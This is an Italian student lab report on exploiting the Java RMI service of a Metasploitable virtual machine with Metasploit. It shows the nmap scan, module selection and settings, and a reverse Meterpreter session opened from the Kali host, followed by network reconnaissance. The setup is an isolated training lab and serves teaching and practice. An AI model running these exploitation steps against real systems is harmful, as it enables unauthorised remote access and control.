

La macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. Inoltre la macchina attaccante Kali deve avere l'indirizzo ip 192.168.11.111 e la macchina vittima Metasploitable deve avere l'indirizzo ip 192.168.11.112.

Un **exploit** è un codice malevolo che va a sfruttare una vulnerabilità che è già presente nel software, a differenza del malware che crea una vulnerabilità e la sfrutta per agire.

L'exploit funziona quando:

- Ha la stessa versione del software vulnerabile
- Il software è in esecuzione
- Il software NON ha scaricato l'aggiornamento che risolve la vulnerabilità

Dopo l'exploit, ho bisogno di un **payload**, che sarebbe un file malevolo che io vado ad installare successivamente all'exploit, che mi serve per andare a creare la shell.

La **shell** sarebbe la connessione che viene stabilita fra attaccante e vittima. Può essere di due tipi: bind o reverse. **Bind** l'attaccante crea una connessione verso la vittima, reverse invece è la vittima che crea una connessione verso l'attaccante. **Reverse** è ottima per eludere il firewall (che essendo solitamente dinamico, permette il traffico dall'interno all'esterno).

Per fare una sessione di hacking sulla macchina Metasploitable sulla porta 1099, utilizzo **Metasploit**. Metasploit è un framework open-source utilizzato per il penetration testing e lo sviluppo di exploit. Contiene codice di exploit e payload ed altre funzionalità. Queste funzionalità sono contenute nei moduli di Metasploit. Ogni **modulo** mette a disposizione un vettore di attacco diverso. Si possono trovare anche moduli **ausiliari**, che a differenza di quelli normali, non contengono un payload e di conseguenza non creano una connessione con la macchina vittima.

Se l'attacco (con modulo normale) è andato a buon fine, viene restituita una sessione di Meterpreter.

Meterpreter è un payload molto potente e flessibile utilizzato per stabilire una connessione remota e interagire con i sistemi compromessi. Una volta che un attaccante ha sfruttato una vulnerabilità su un sistema target e ha ottenuto l'accesso, Meterpreter viene spesso utilizzato per consolidare il controllo sul sistema e per eseguire una serie di attività post-exploitation.

Le caratteristiche principali di Meterpreter includono:

- **Shell avanzata:** Fornisce una shell avanzata con funzionalità estese, consentendo agli attaccanti di eseguire comandi, script e manipolare il sistema target in modo dettagliato.
- **Persistenza:** Meterpreter può essere utilizzato per mantenere l'accesso al sistema target anche dopo il riavvio. Questa funzionalità consente agli attaccanti di mantenere il controllo continuo sulla macchina compromessa.
- **Funzionalità di post-exploitation:** Consente agli attaccanti di eseguire una serie di attività post-exploitation, come la raccolta di informazioni, il furto di dati, la manipolazione dei privilegi, e altro ancora.

Meterpreter offre due principali approcci per restituire all'attaccante una shell avanzata sul sistema target:

- **bind_tcp**: In questa modalità, un processo viene iniettato sulla macchina obiettivo. Questo processo resta in ascolto su una specifica porta, pronto ad accettare connessioni esterne. La particolarità di bind_tcp è che il servizio di shell è attivo sulla macchina attaccante, e la connessione avviene dalla macchina dell'attaccante verso quella target.
- **reverse_tcp**: In questa modalità, un processo è iniettato sulla macchina obiettivo, ma questa volta è la macchina target che avvia una connessione verso la macchina dell'attaccante, mettendo a disposizione una shell. La differenza chiave con bind_tcp è che nel caso di reverse_tcp è la macchina target a iniziare la connessione verso l'attaccante.

Prima di andare ad effettuare l'attacco richiesto, setto l'indirizzo ip della macchina target Metasploitable e della macchina attaccante Kali, come richiestomi dalla consegna. Per fare ciò, sono andato semplicemente a mettere un indirizzo ip statico andando a modificare il file "/etc/network/interfaces" a entrambe le macchine. Per controllare se ora gli indirizzi ip delle due macchine corrispondono a quelli richiesti dall'esercizio, digito "ifconfig" per verificare i rispettivi indirizzi ip:

Su Kali:

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:feeb:7ef5 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:cb:7e:f5 txqueuelen 1000 (Ethernet)
    RX packets 62 bytes 7146 (6.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 19 bytes 2624 (2.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Su Metasploitable:

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:e5:c1:79
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fee5:c179/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:61 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B) TX bytes:4626 (4.5 KB)
          Base address:0xd240 Memory:f0820000-f0840000
```

Come prima cosa utilizzo NMAP sul terminale di Kali per vedere le porte e i servizi aperti su Metasploitable. Noto che in effetti sulla porta 1099 c'è il servizio java-rmi.

Java-RMI è una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-26 04:07 EST
Nmap scan report for 192.168.11.112
Host is up (0.00042s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp          Postfix smtpd
53/tcp    open  domain        ISC BIND 9.4.2
80/tcp    open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind       2 (RPC #100000)
139/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec          netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell         Netkit rshd
1099/tcp  open  java-rmi      GNU Classpath grmiregistry
1524/tcp  open  bindshell     Metasploitable root shell
2049/tcp  open  nfs           2-4 (RPC #100003)
2121/tcp  open  ftp           ProFTPD 1.3.1
3306/tcp  open  mysql?
5432/tcp  open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
```

Successivamente sul root di Kali apro Metasploit:

```
(root@kali)-[~]
# msfconsole
```

Vado a cercare i moduli presenti per la vulnerabilità java-rmi:

```
msf6 > search java rmi
Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMI ConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution

Utilizzo il 4 modulo “exploit/multi/misc/java_rmi_server”, in quanto è il primo che riguarda la vulnerabilità java-rmi (il modulo 3 non l’ho testato, in quanto è un modulo ausiliario e non mi avrebbe restituito una sessione di Meterpreter). Lascio il payload di default.

Digito “show options” per vedere se ci sono settaggi da configurare.

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Vedo che è richiesto l’ip della macchina vittima:

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                            |
|-----------|-----------------|----------|----------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                            |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html                                                         |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                  |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an interface on the local machine or 0.0.0.0 to listen on all addresses |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                           |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                 |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                       |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                    |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Vado ad inserire l’ip di Metasploitable, e per verificare che sia stato memorizzato da Metasploit, ridigito “show options”:

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                            |
|-----------|-----------------|----------|----------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                            |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html                                                         |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                  |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an interface on the local machine or 0.0.0.0 to listen on all addresses |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                           |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                 |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                       |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                    |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Digito il comando “exploit” per startare l’attacco. La shell è stata creata, ora sono dentro il dispositivo vittima.

Con la sessione Meterpreter appena aperta, facendo “ifconfig” vado a raccogliere la configurazione di rete della macchina vittima:

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/QPpjpgm9RX9LfCvg
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:50609) at

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fee5:c179
IPv6 Netmask : ::
```

Vado a raccogliere informazioni anche riguardo la tabella di routing, con il comando “route”:

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0           lo
192.168.11.112 255.255.255.0 0.0.0.0      0           eth0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0           lo
fe80::a00:27ff:fee5:c179 ::           ::           0           eth0

meterpreter > 
```